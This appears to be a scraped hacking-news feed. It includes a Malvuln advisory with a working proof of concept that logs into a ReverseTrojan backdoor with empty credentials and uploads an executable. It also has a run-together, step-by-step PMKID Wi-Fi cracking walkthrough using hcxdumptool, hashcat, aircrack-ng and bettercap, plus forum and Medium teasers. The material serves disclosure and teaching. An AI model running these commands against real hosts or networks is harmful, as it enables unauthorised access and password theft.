Exploit Collector
Backdoor.Win32.ReverseTrojan.200 Authentication Bypass

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Backdoor.Win32.ReverseTrojan.200 malware suffers from an authentication bypass vulnerability.

MD5 | d2b4c0a1bc954a4816174b3c63e1635f

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3fbec7c0623f5f80e4d9c096a50b0d59.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.ReverseTrojan.200
Vulnerability: Authentication Bypass Empty Password
Description: ReverseTrojan by satan_addict listens on TCP ports, 12000 and 21. The malware accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.
Type: PE32
MD5: 3fbec7c0623f5f80e4d9c096a50b0d59
Vuln ID: MVID-2021-0256
Disclosure: 06/23/2021

settings.ini

[wsc]
vernfo=2.00b2
scurl=http://satanzcrew.no.sapo.pt
newsurl=http://satanzcrew.no.sapo.pt/news/news.txt
[socket]
port=12000
[ftp]
port=21
user=
pwd=
[show]
intro=OFF

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 REVERSE TROJAN by satan_addict FTP Server ready.
USER
331 Password required for .
PASS
230 User logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,127,196,208).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.127"
#192*256 + 208
PORT=50384
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty Password")
print("MD5: 3fbec7c0623f5f80e4d9c096a50b0d59")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Stealing Saved Browser Passwords: Your New Favorite Post-Exploitation Technique

https://cdn-images-1.medium.com/max/613/1*iw_LJiyym_gnR40iT6oSIA.jpeg
Learn how to dump passwords from common browsers for post-exploitation and lateral movement

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to get into Cyber Security in your BE/B.Tech

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What To Study For Cyber Security ( Ethical Hacking )

https://cdn-images-1.medium.com/max/700/1*1FxN_sU2jAvU1yjIR9As9Q.jpeg
SO this article is Straight forward about what learn for Cyber Security

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
D3FEND: catálogo de técnicas defensivas de ciberseguridad de MITRE.

https://cdn-images-1.medium.com/max/1459/0*YYMmfiR06GXpG0UF
POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Human/Animals Deep Web experiments - fake story?

https://m.facebook.com/story.php?story_fbid=709870242864818&id=246143389237508

Hear you guys are prime debunkers so help me out here. This Facebook page claims the FBI in 2017 shut down a human/animal experiment page - complete with “human centipede” dog experiments and all that stuff.

True or false? Has anyone heard this story anywhere reputable? Or is this another dark web myth?

submitted by /u/dylstan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Is it safe download any free. sofwares .cheats for games .games from tore ??

submitted by /u/Old-Hovercraft-6407
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Cocospy

Does it work ?

submitted by /u/ComedianNo3193
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Question on vulnerability scanning during a pentest.
https://www.reddit.com/r/Pentesting/comments/o793tm/question_on_vulnerability_scanning_during_a/

I understand the need for vulnerability scanning during a pentest, but do you also typically request client credentials to run authenticated vulnerability scans? I see that this will provide better and more accurate results but is this asking for too much from the client? I feel like it doesn't make it a true pentest anymore? Anyone have any insight on this? submitted by /u/mountainhacker1 (https://www.reddit.com/user/mountainhacker1)
[link] (https://www.reddit.com/r/Pentesting/comments/o793tm/question_on_vulnerability_scanning_during_a/) [comments] (https://www.reddit.com/r/Pentesting/comments/o793tm/question_on_vulnerability_scanning_during_a/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Wireless Penetration Testing: PMKID Attacks

IntroductionPMKID attack was developed by Team Hashcat. Unlike the traditional handshake capture method (4- way handshake), this method does not wait for a client to re-authenticate. PMKID is directly captured in these attacks and then cracked. This attack works on WPA and WPA2 protocols and recent studies have shown a little to no success in WPA3 and is far more resilient to PMKID attacks. Let’s understand the basics of Wireless Networks first and then we’d have better understanding of PMKID.Table of Contents1. Open System AuthenticationOpen System AuthenticationOpen System Authentication (OSA) is a process by which a computer can gain access to a wireless network that uses the Wired Equivalent Privacy (WEP) protocol. With OSA, a computer equipped with a wireless modem can access any WEP network and receive files that are unencrypted.Shared Key Authentication.Shared Key AuthenticationIt is a method of authentication in WEP in which both the client and server have access to a key beforehand. This key is nothing but the Wi-Fi passphrase (password).WPA and WPA2 (PSK)Pre: We’ll only be talking about PSK authentication here in WPA2 in Unicast mode (AP to client 1 on 1 communication)dynamically generate new key for each packet. Also, WPA2 includes a mandatory support for CCMP protocol, based on AES. Let’s talk about the authentication in WPA/WP[...]

___________________________
@hacking_Attack
@Hacking_Video

A2.Pre-Shared Key. PSK is 256 bits in size and is derived like this:Pre-Shared Key = PBKDF2_SHA1 (Wi-Fi password (passphrase) + Wi-Fi SSID, Length of SSID + 4096 iterations of SHA1)PBKDF2_SHA1 is just an example hash function which can be customized too.In WPA2 PSK, the Pre-Shared Key is the same as Pairwise Master Key (PMK).This PSK is not usedto encrypt data in each packet. Encryption keys are derived from PSK in this method and has other variables to it. The encryption key used to encrypt all of the data in transit between a client and an Access Point (Unicast) is called as Pairwise Transit Key (PTK).So, PTK = PSK or PMK + Anonce + Snonce + MAC (authenticator) and MAC (supplicant)Here, 4 Way handshakeIn layman terms, while authentication, some source keying material is turned into data encryption material which eventually can be used to encrypt data frames. This process of turning source keying material to data encryption material is called as a 4-way handshake. As we saw above, both the client and authenticator (access point) know the PSK (aka PMK). But the PMK is not used to encrypt the data and a PTK has to be derived using PMK.Client (aka Supplicant) PTK Creation: AP (aka Authenticator) PTK Creation: PMKID)Creation of group keys and transfer by AP to Supplicant: Confirmation of installation of keys: Supplicant confirms to authenticator that keys have been installed.___________________________
@hacking_Attack
@Hacking_Video

PTKPMK caching.PMK Caching and PMKIDOkay, so by this time, client and Access Point both have done a successful 4-way handshake and maintained something known as a PMKSA(PMK security association).Access Point roamingrefers to scenario where a client or a supplicant moves outside the range of an AP and/or connects to another AP. Very similar to handoffs in cellular networks, this roaming can often take a toll on connectivity given every time a client moves out from the range of an AP and moves to other, 4-way handshake will be done again.PMK caching.Many routers cache PMKIDof exchange process in a collection of information PMKSA, so that the next time client de and re-authenticates 4-way handshake won’t be done again and router would directly ask the client for PMKSA, verify it and he would be re-associate it back with an access point.PMKSA = PMKID + Lifetime of PMK + MAC addresses + other variablesPMKID is a hashed value of another hashed value (PMK) with 2 MACs and a fixed string.PMKID= HMAC-SHA1-128(PMK, "PMK Name" + MAC (AP) + MAC(Supplicant))HMAC-SHA1 is again just an example of a pseudo random function. PMKID is a field in the RSN IE frame (Robust Security Network Information Element). RSN IE is an optional frame found in routers. “PMK Name” is a fixed string label associated with the SSID.Explanation of PMKID attackAre all the routers vulnerable to PMKID attacks? No. Only the routers that have roaming feature enabled or present are vulnerable.WiFi password (passphrase) - guessWiFi SSID - knownLength of SSID - knownMAC of Authenticator and Supplicant - knownPMK Name – knownRetrieve PMKID -> Guess Wi-Fi passphrase using dictionary -> create PMK hash -> create PMKID hash and compare with retrieved PMKID hashAccording to original Hashcat article here, the main advantages are as follows:___________________________
@hacking_Attack
@Hacking_Video

No more eventual invalid passwords sent by the regular userCapturing PMKID using hcxdumptoolNow that we have an understanding of what PMKID is, we’ll try and retrieve this PMKID and try to attack it. We are using hcxdumptool to ask the AP for PMKID frame and save that in a pcapng format.apt install hcxtoolshttps://1.bp.blogspot.com/-UB_S3nujmJ4/YNS9v-I0YpI/AAAAAAAAwvQ/YWvH8fdhuVgSr8f2_2CZtB9-6fK57m0cQCLcBGAsYHQ/s16000/1.png After that we have to put our Wi-Fi adapter or the NIC in monitor mode using aircrack-ngaircrack-ng start wlan0https://1.bp.blogspot.com/-CD8iM8_8XBg/YNS96mkhhsI/AAAAAAAAwvU/eSoLdrVHwkkP7jjc7K_DdeEBsF_qe0EawCLcBGAsYHQ/s16000/2.png Now, we’ll try and capture PMKIDs from all the routers around us using hcx.hcxdumptool -o demo -i wlan0mon –enable_status 5Here, demo is the output fileEAP Frames: EAP stands for Extensible Authentication Protocol. This protocol is used for authentication in WPA2-PSK routers. You see, when we talked about a 4-way handshake, there encryption keys were being created. EAP however, is responsible for the authentication of client to Access Point.Converting pcapng to hashcat file and cracking using hashcatNow, we’ll use the hcxpcaptool to convert this pcapng file to a Hashcat crackable hash format.hcxpcaptool -z hash demohttps://1.bp.blogspot.com/-PgIlzXuRAdU/YNS-PYa5ZAI/AAAAAAAAwvg/gMpvFaLXjgY3xAYr6jI6AX7hEFCnYxvhACLcBGAsYHQ/s16000/4.png See how PMKIDs are written to hash. Let us rename this “hash” to “pmkidhash.” Next up is the juicy brute force.hashcat -m 16800 --force pmkidhash /usr/share/wordlists/rockyou.txt --show16800 is the code for WPA PMKID type hash.Capturing only a single PMKID using hcxdumptoolNow, earlier we were capturing all of the PMKIDs near us, what if we want to capture PMKID from a single Access Point? For that we have to take note of the MAC ID of the AP. Here, from previous hcxdumptool step, I saved the [...]

___________________________
@hacking_Attack
@Hacking_Video

MAC ID in a text file called “target”hcxpcaptool -z pmkidhash raj Converting pcapng to pcap and cracking using Aircrack-ngIn the demonstration above, we had captured a file called “demo” using hcxdumptool which was a pcapng file. Now we’ll convert this to pcap file and crack right away with aircrack-ngfile demohttps://1.bp.blogspot.com/-7N4zsSF3-J8/YNS-jm0G-yI/AAAAAAAAwv8/u6C_SC2RIRwMVI6loQoXtCKGx6a3RbQbQCLcBGAsYHQ/s16000/48.png To crack this, we use the command:aircrack-ng demo.pcap -w /usr/share/wordlists/rockyou.txtAnd then we type in the target (here, 11)PMKID capture and attack using AirgeddonThe manual labour and memorization of commands is eased down by airgeddon. Here, using this simple CLI we can press some numeric keys and do the same. Let us capture PMKID by running airgeddon script:PMKID capture using bettercapFor this final method, we will use good old bettercap. This tool requires an older version of pcap library so, we’ll first download that using wget.___________________________
@hacking_Attack
@Hacking_Video

that it’s installed and our adapter is in monitor mode, we’ll run bettercapbettercapWe’ll see all the APs in rangewifi.show https://1.bp.blogspot.com/-t4unUow9apI/YNTA5A2faMI/AAAAAAAAwxg/x6dmGIWqScEuU4cJiQEKyAMiaSGZgZrNQCLcBGAsYHQ/s16000/106.png We now need to associate with an access point using the BSSID.wifi.assoc 68:14:01:5a:0e:9cAs you can see, PMKID is captured now in /root/bettercap-wifi-handshakes.pcap file.wifi.assoc allhttps://1.bp.blogspot.com/-Wm9rGWsqeos/YNTBZr01AFI/AAAAAAAAwx0/ieZQ1ebMnrAMBbmhxp56jwtvQVEI3Hg7ACLcBGAsYHQ/s16000/108.png We now need to convert this pcap file in Hashcat format and crack it as we did before, so:hcxpcaptool -z hashpmkid bettercap-wifi-handshake.pcaphttps://1.bp.blogspot.com/-xn5YZYhdyeg/YNTBd_mv2mI/AAAAAAAAwx4/XY9g2h1-oYQmGVAjI6TOLwGuMDUdjQHfwCLcBGAsYHQ/s16000/109.png And that’s how it’s done!ConclusionPMKID attacks are really a big threat to SOHOs and enterprises and necessary steps must be taken in order to safeguard yourself against these kinds of low intellect attacks that anyone could perform. It also explains the necessity of having a complex password and also, the importance of upgrading to WPA3. Thanks for the read of this part 3 in the “Wi-Fi penetration testing series.” Have a nice day.___________________________
@hacking_Attack
@Hacking_Video